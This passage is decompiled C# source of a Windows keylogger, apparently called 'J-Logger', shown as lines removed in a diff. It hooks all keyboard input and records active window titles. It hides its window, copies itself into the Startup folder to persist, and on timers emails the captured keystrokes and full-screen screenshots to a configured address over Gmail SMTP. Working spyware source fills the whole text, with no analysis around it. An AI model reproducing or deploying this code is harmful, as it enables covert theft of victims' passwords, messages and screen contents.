break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += "0"; - break; - case Keys.D1: - this.jojo += "1"; - break; - case Keys.D2: - this.jojo += "2"; - break; - case Keys.D3: - this.jojo += "3"; - break; - case Keys.D4: - this.jojo += "4"; - break; - case Keys.D5: - this.jojo += "5"; - break; - case Keys.D6: - this.jojo += "6"; - break; - case Keys.D7: - this.jojo += "7"; - break; - case Keys.D8: - this.jojo += "8"; - break; - case Keys.D9: - this.jojo += "9"; - break; - case Keys.A: - this.jojo += "A"; - break; - case Keys.B: - this.jojo += "B"; - break; - case Keys.C: - this.jojo += "C"; - break; - case Keys.D: - this.jojo += "D"; - break; - case Keys.E: - this.jojo += "E"; - break; - case Keys.F: - this.jojo += "F"; - break; - case Keys.G: - this.jojo += "G"; - break; - case Keys.H: - this.jojo += "H"; - break; - case Keys.I: - this.jojo += "I"; - break; - case Keys.J: - this.jojo += "J"; - break; - case Keys.K: - this.jojo += "K"; - break; - case Keys.L: - this.jojo += "L"; - break; - case Keys.M: - this.jojo += "M"; - break; - case Keys.N: - this.jojo += "N"; - break; - case Keys.O: - this.jojo += "O"; - break; - case Keys.P: - this.jojo += "P"; - break; - case Keys.Q: - this.jojo += "Q"; - break; - case Keys.R: - this.jojo += "R"; - break; - case Keys.S: - this.jojo += "S"; - break; - case Keys.T: - this.jojo += "T"; - break; - case Keys.U: - this.jojo += "U"; - break; - case Keys.V: - this.jojo += "V"; - break; - case Keys.W: - this.jojo += "W"; - break; - case Keys.X: - this.jojo += "X"; - break; - case Keys.Y: - this.jojo += "Y"; - break; - case Keys.Z: - this.jojo += "Z"; - break; - case Keys.NumPad0: - this.jojo += "0"; - break; - case Keys.NumPad1: - this.jojo += "1"; - break; - case Keys.NumPad2: - this.jojo += "2"; - break; - case Keys.NumPad3: - this.jojo += "3"; - break; - case Keys.NumPad4: - this.jojo += "4"; - break; - case Keys.NumPad5: - this.jojo += "5"; - break; - case Keys.NumPad6: - this.jojo += "6"; - break; - case Keys.NumPad7: - this.jojo += "7"; - break; - case Keys.NumPad8: - this.jojo += "8"; - break; - case Keys.NumPad9: - this.jojo += "9"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ";"; - break; - case Keys.Oemcomma: - this.jojo += ","; - break; - case Keys.OemMinus: - this.jojo += "-"; - break; - case Keys.OemPeriod: - this.jojo += "."; - break; - case Keys.OemQuestion: - this.jojo += "/"; - break; - case Keys.Oemtilde: - this.jojo += "`"; - break; - case Keys.OemOpenBrackets: - this.jojo += "["; - break; - case Keys.OemPipe: - this.jojo += "\\"; - break; - case Keys.OemCloseBrackets: - this.jojo += "]"; - break; - case Keys.OemQuotes: - this.jojo += "'"; - break; - } - } - else if (MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += ")"; - break; - case Keys.D1: - this.jojo += "!"; - break; - case Keys.D2: - this.jojo += "@"; - break; - case Keys.D3: - this.jojo += "#"; - break; - case Keys.D4: - this.jojo += "$"; - break; - case Keys.D5: - this.jojo += "%"; - break; - case Keys.D6: - this.jojo += "^"; - break; - case Keys.D7: - this.jojo += "&"; - break; - case Keys.D8: - this.jojo += "*"; - break; - case Keys.D9: - this.jojo += "("; - break; - case Keys.A: - this.jojo += "A"; - break; - case Keys.B: - this.jojo += "B"; - break; - case Keys.C: - this.jojo += "C"; - break; - case Keys.D: - this.jojo += "D"; - break; - case Keys.E: - this.jojo += "E"; - break; - case Keys.F: - this.jojo += "F"; - break; - case Keys.G: - this.jojo += "G"; - break; - case Keys.H: - this.jojo += "H"; - break; - case Keys.I: - this.jojo += "I"; - break; - case Keys.J: - this.jojo += "J"; - break; - case Keys.K: - this.jojo += "K"; - break; - case Keys.L: - this.jojo += "L"; - break; - case Keys.M: - this.jojo += "M"; - break; - case Keys.N: - this.jojo += "N"; - break; - case Keys.O: - this.jojo += "O"; - break; - case Keys.P: - this.jojo += "P"; - break; - case Keys.Q: - this.jojo += "Q"; - break; - case Keys.R: - this.jojo += "R"; - break; - case Keys.S: - this.jojo += "S"; - break; - case Keys.T: - this.jojo += "T"; - break; - case Keys.U: - this.jojo += "U"; - break; - case Keys.V: - this.jojo += "V"; - break; - case Keys.W: - this.jojo += "W"; - break; - case Keys.X: - this.jojo += "X"; - break; - case Keys.Y: - this.jojo += "Y"; - break; - case Keys.Z: - this.jojo += "Z"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ":"; - break; - case Keys.Oemcomma: - this.jojo += "<"; - break; - case Keys.OemMinus: - this.jojo += "_"; - break; - case Keys.OemPeriod: - this.jojo += ">"; - break; - case Keys.OemQuestion: - this.jojo += "?"; - break; - case Keys.Oemtilde: - this.jojo += "~"; - break; - case Keys.OemOpenBrackets: - this.jojo += "{"; - break; - case Keys.OemPipe: - this.jojo += "|"; - break; - case Keys.OemCloseBrackets: - this.jojo += "}"; - break; - case Keys.OemQuotes: - this.jojo += this.Label1.Text; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += "0"; - break; - case Keys.D1: - this.jojo += "1"; - break; - case Keys.D2: - this.jojo += "2"; - break; - case Keys.D3: - this.jojo += "3"; - break; - case Keys.D4: - this.jojo += "4"; - break; - case Keys.D5: - this.jojo += "5"; - break; - case Keys.D6: - this.jojo += "6"; - break; - case Keys.D7: - this.jojo += "7"; - break; - case Keys.D8: - this.jojo += "8"; - break; - case Keys.D9: - this.jojo += "9"; - break; - case Keys.A: - this.jojo += "a"; - break; - case Keys.B: - this.jojo += "b"; - break; - case Keys.C: - this.jojo += "c"; - break; - case Keys.D: - this.jojo += "d"; - break; - case Keys.E: - this.jojo += "e"; - break; - case Keys.F: - this.jojo += "f"; - break; - case Keys.G: - this.jojo += "g"; - break; - case Keys.H: - this.jojo += "h"; - break; - case Keys.I: - this.jojo += "i"; - break; - case Keys.J: - this.jojo += "j"; - break; - case Keys.K: - this.jojo += "k"; - break; - case Keys.L: - this.jojo += "l"; - break; - case Keys.M: - this.jojo += "m"; - break; - case Keys.N: - this.jojo += "n"; - break; - case Keys.O: - this.jojo += "o"; - break; - case Keys.P: - this.jojo += "p"; - break; - case Keys.Q: - this.jojo += "q"; - break; - case Keys.R: - this.jojo += "r"; - break; - case Keys.S: - this.jojo += "s"; - break; - case Keys.T: - this.jojo += "t"; - break; - case Keys.U: - this.jojo += "u"; - break; - case Keys.V: - this.jojo += "v"; - break; - case Keys.W: - this.jojo += "w"; - break; - case Keys.X: - this.jojo += "x"; - break; - case Keys.Y: - this.jojo += "y"; - break; - case Keys.Z: - this.jojo += "z"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ";"; - break; - case Keys.Oemcomma: - this.jojo += ","; - break; - case Keys.OemMinus: - this.jojo += "-"; - break; - case Keys.OemPeriod: - this.jojo += "."; - break; - case Keys.OemQuestion: - this.jojo += "/"; - break; - case Keys.Oemtilde: - this.jojo += "`"; - break; - case Keys.OemOpenBrackets: - this.jojo += "["; - break; - case Keys.OemPipe: - this.jojo += "\\"; - break; - case Keys.OemCloseBrackets: - this.jojo += "]"; - break; - case Keys.OemQuotes: - this.jojo += "'"; - break; - } - } - else - { - if (!(MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock)) - return; - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += ")"; - break; - case Keys.D1: - this.jojo += "!"; - break; - case Keys.D2: - this.jojo += "@"; - break; - case Keys.D3: - this.jojo += "#"; - break; - case Keys.D4: - this.jojo += "$"; - break; - case Keys.D5: - this.jojo += "%"; - break; - case Keys.D6: - this.jojo += "^"; - break; - case Keys.D7: - this.jojo += "&"; - break; - case Keys.D8: - this.jojo += "*"; - break; - case Keys.D9: - this.jojo += "("; - break; - case Keys.A: - this.jojo += "A"; - break; - case Keys.B: - this.jojo += "B"; - break; - case Keys.C: - this.jojo += "C"; - break; - case Keys.D: - this.jojo += "D"; - break; - case Keys.E: - this.jojo += "E"; - break; - case Keys.F: - this.jojo += "F"; - break; - case Keys.G: - this.jojo += "G"; - break; - case Keys.H: - this.jojo += "H"; - break; - case Keys.I: - this.jojo += "I"; - break; - case Keys.J: - this.jojo += "J"; - break; - case Keys.K: - this.jojo += "K"; - break; - case Keys.L: - this.jojo += "L"; - break; - case Keys.M: - this.jojo += "M"; - break; - case Keys.N: - this.jojo += "N"; - break; - case Keys.O: - this.jojo += "O"; - break; - case Keys.P: - this.jojo += "P"; - break; - case Keys.Q: - this.jojo += "Q"; - break; - case Keys.R: - this.jojo += "R"; - break; - case Keys.S: - this.jojo += "S"; - break; - case Keys.T: - this.jojo += "T"; - break; - case Keys.U: - this.jojo += "U"; - break; - case Keys.V: - this.jojo += "V"; - break; - case Keys.W: - this.jojo += "W"; - break; - case Keys.X: - this.jojo += "X"; - break; - case Keys.Y: - this.jojo += "Y"; - break; - case Keys.Z: - this.jojo += "Z"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ":"; - break; - case Keys.Oemcomma: - this.jojo += "<"; - break; - case Keys.OemMinus: - this.jojo += "_"; - break; - case Keys.OemPeriod: - this.jojo += ">"; - break; - case Keys.OemQuestion: - this.jojo += "?"; - break; - case Keys.Oemtilde: - this.jojo += "~"; - break; - case Keys.OemOpenBrackets: - this.jojo += "{"; - break; - case Keys.OemPipe: - this.jojo += "|"; - break; - case Keys.OemCloseBrackets: - this.jojo += "}"; - break; - case Keys.OemQuotes: - this.jojo += this.Label1.Text; - break; - } - } - } - - private void Form1_Load(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - this.Visible = false; -label_2: - num3 = 3; - Microsoft.VisualBasic.FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - this.text1 = Strings.Space(checked ((int) Microsoft.VisualBasic.FileSystem.LOF(1))); -label_4: - num3 = 5; - this.text2 = Strings.Space(checked ((int) Microsoft.VisualBasic.FileSystem.LOF(1))); -label_5: - num3 = 6; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text1); -label_6: - num3 = 7; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text2); -label_7: - num3 = 8; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text3); -label_8: - num3 = 9; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text4); -label_9: - num3 = 10; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text5); -label_10: - num3 = 11; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text6); -label_11: - num3 = 12; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text7); -label_12: - num3 = 13; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text8); -label_13: - num3 = 14; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text9); -label_14: - num3 = 15; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text10); -label_15: - num3 = 16; - Microsoft.VisualBasic.FileSystem.FileClose(1); -label_16: - num3 = 17; - this.options = Strings.Split(this.text1, "@jojogizmojake@"); -label_17: - num3 = 18; - this.us = this.options[1]; -label_18: - num3 = 19; - this.pa = this.options[2]; -label_19: - num3 = 20; - this.t0 = this.options[3]; -label_20: - num3 = 21; - this.sendl = this.options[4]; -label_21: - num3 = 22; - this.screen = this.options[5]; -label_22: - num3 = 23; - this.sends = this.options[6]; -label_23: - num3 = 24; - this.ncrypt = this.options[7]; -label_24: - num3 = 25; - this.up = this.options[8]; -label_25: - num3 = 26; - this.pr0ccess = this.options[9]; -label_26: - num3 = 27; - bool flag = MyProject.Computer.FileSystem.FileExists(this.TEMP + "\\" + this.pr0ccess); -label_27: - num3 = 28; - if (flag) - goto label_31; -label_28: - num3 = 29; - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, this.TEMP + "\\" + this.pr0ccess); -label_29: - num3 = 30; - Process.Start(this.TEMP + "\\" + this.pr0ccess); -label_30: - num3 = 31; - this.Close(); -label_31: - num3 = 33; - if (Operators.CompareString(this.up, "1", false) != 0) - goto label_40; -label_32: - num3 = 34; - string pr0ccess = this.pr0ccess; -label_33: - num3 = 35; - string sourceFileName = this.TEMP + "\\" + this.pr0ccess; -label_34: - num3 = 36; - string path = "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"; -label_35: - num3 = 37; - DirectoryInfo directoryInfo = new DirectoryInfo(path); -label_36: - num3 = 38; - if (directoryInfo.Exists) - goto label_38; -label_37: - num3 = 39; - MyProject.Computer.FileSystem.CopyFile(sourceFileName, "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + pr0ccess, true); - goto label_40; -label_38: - num3 = 41; -label_39: - num3 = 42; - MyProject.Computer.FileSystem.CopyFile(sourceFileName, "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\" + pr0ccess, true); -label_40: - num3 = 45; - this.Timer1.Interval = Conversions.ToInteger(this.sendl); -label_41: - num3 = 46; - this.Timer2.Interval = Conversions.ToInteger(this.sends); -label_42: - num3 = 47; - this.Timer3.Start(); -label_43: - num3 = 48; - this.Timer1.Start(); -label_44: - num3 = 49; - if (!Conversions.ToBoolean(this.screen)) - goto label_52; -label_45: - num3 = 50; - this.Timer2.Start(); - goto label_52; -label_47: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_22; - case 24: - goto label_23; - case 25: - goto label_24; - case 26: - goto label_25; - case 27: - goto label_26; - case 28: - goto label_27; - case 29: - goto label_28; - case 30: - goto label_29; - case 31: - goto label_30; - case 32: - case 33: - goto label_31; - case 34: - goto label_32; - case 35: - goto label_33; - case 36: - goto label_34; - case 37: - goto label_35; - case 38: - goto label_36; - case 39: - goto label_37; - case 40: - case 43: - case 44: - case 45: - goto label_40; - case 41: - goto label_38; - case 42: - goto label_39; - case 46: - goto label_41; - case 47: - goto label_42; - case 48: - goto label_43; - case 49: - goto label_44; - case 50: - goto label_45; - case 51: - case 52: - goto label_52; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_47; - } - throw ProjectData.CreateProjectError(-2146828237); -label_52: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer1_Tick(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_5; -label_2: - num3 = 3; - string key1 = "jojogizmojake"; -label_3: - num3 = 4; - this.us = Module1.Encryption.Decrypt(this.us, key1); -label_4: - num3 = 5; - this.pa = Module1.Encryption.Decrypt(this.pa, key1); -label_5: - num3 = 7; - MailMessage message = new MailMessage(); -label_6: - num3 = 8; - message.From = new MailAddress("J-Logger@gmail.com"); -label_7: - num3 = 9; - message.To.Add(this.t0); -label_8: - num3 = 10; - message.Subject = "User Name : " + Environment.UserName.ToString(); -label_9: - num3 = 11; - message.Body = this.jojo; -label_10: - num3 = 12; - SmtpClient smtpClient = new SmtpClient("smtp.gmail.com"); -label_11: - num3 = 13; - smtpClient.Port = 587; -label_12: - num3 = 14; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.us, this.pa); -label_13: - num3 = 15; - smtpClient.EnableSsl = true; -label_14: - num3 = 16; - smtpClient.Send(message); -label_15: - num3 = 17; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_25; -label_16: - num3 = 18; - string key2 = "jojogizmojake"; -label_17: - num3 = 19; - this.us = Module1.Encryption.Encrypt(this.us, key2); -label_18: - num3 = 20; - this.pa = Module1.Encryption.Encrypt(this.pa, key2); - goto label_25; -label_20: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - case 7: - goto label_5; - case 8: - goto label_6; - case 9: - goto label_7; - case 10: - goto label_8; - case 11: - goto label_9; - case 12: - goto label_10; - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - goto label_13; - case 16: - goto label_14; - case 17: - goto label_15; - case 18: - goto label_16; - case 19: - goto label_17; - case 20: - goto label_18; - case 21: - case 22: - goto label_25; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_20; - } - throw ProjectData.CreateProjectError(-2146828237); -label_25: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer2_Tick(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_5; -label_2: - num3 = 3; - string key1 = "jojogizmojake"; -label_3: - num3 = 4; - this.us = Module1.Encryption.Decrypt(this.us, key1); -label_4: - num3 = 5; - this.pa = Module1.Encryption.Decrypt(this.pa, key1); -label_5: - num3 = 7; - Bitmap bitmap = new Bitmap(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); -label_6: - num3 = 8; - Graphics graphics = Graphics.FromImage((Image) bitmap); -label_7: - num3 = 9; - graphics.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height)); -label_8: - num3 = 10; - bitmap.Save(this.TEMP + "\\screenImage.jpg", ImageFormat.Jpeg); -label_9: - num3 = 11; - MailMessage message = new MailMessage(); -label_10: - num3 = 12; - message.From = new MailAddress("J-Logger@gmail.com"); -label_11: - num3 = 13; - message.To.Add(this.t0); -label_12: - num3 = 14; - message.Subject = "User Name : " + Environment.UserName.ToString() + " Screenshot"; -label_13: - num3 = 15; - message.Body = "There is a screen shot attachment on this email"; -label_14: - num3 = 16; - Attachment attachment = new Attachment(this.TEMP + "\\screenImage.jpg"); -label_15: - num3 = 17; - message.Attachments.Add(attachment); -label_16: - num3 = 18; - SmtpClient smtpClient = new SmtpClient("smtp.gmail.com"); -label_17: - num3 = 19; - smtpClient.Port = 587; -label_18: - num3 = 20; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.us, this.pa); -label_19: - num3 = 21; - smtpClient.EnableSsl = true; -label_20: - num3 = 22; - smtpClient.Send(message); -label_21: - num3 = 23; - message.Dispose(); -label_22: - num3 = 24; - bitmap.Dispose(); -label_23: - num3 = 25; - bool flag = MyProject.Computer.FileSystem.FileExists(this.TEMP + "\\screenImage.jpg"); -label_24: - num3 = 26; - if (!flag) - goto label_26; -label_25: - num3 = 27; - MyProject.Computer.FileSystem.DeleteFile(this.TEMP + "\\screenImage.jpg", UIOption.OnlyErrorDialogs, RecycleOption.DeletePermanently); -label_26: - num3 = 29; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_36; -label_27: - num3 = 30; - string key2 = "jojogizmojake"; -label_28: - num3 = 31; - this.us = Module1.Encryption.Encrypt(this.us, key2); -label_29: - num3 = 32; - this.pa = Module1.Encryption.Encrypt(this.pa, key2); - goto label_36; -label_31: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - case 7: - goto label_5; - case 8: - goto label_6; - case 9: - goto label_7; - case 10: - goto label_8; - case 11: - goto label_9; - case 12: - goto label_10; - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - goto label_13; - case 16: - goto label_14; - case 17: - goto label_15; - case 18: - goto label_16; - case 19: - goto label_17; - case 20: - goto label_18; - case 21: - goto label_19; - case 22: - goto label_20; - case 23: - goto label_21; - case 24: - goto label_22; - case 25: - goto label_23; - case 26: - goto label_24; - case 27: - goto label_25; - case 28: - case 29: - goto label_26; - case 30: - goto label_27; - case 31: - goto label_28; - case 32: - goto label_29; - case 33: - case 34: - case 35: - goto label_36; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_31; - } - throw ProjectData.CreateProjectError(-2146828237); -label_36: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer3_Tick(object sender, EventArgs e) - { - if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) == 0 || Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) == 0) - return; - this.jojo = this.jojo + "\r\n--------[" + this.GetActiveWindowTitle() + "]--------\r\n"; - this.strin = this.GetActiveWindowTitle(); - } - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys 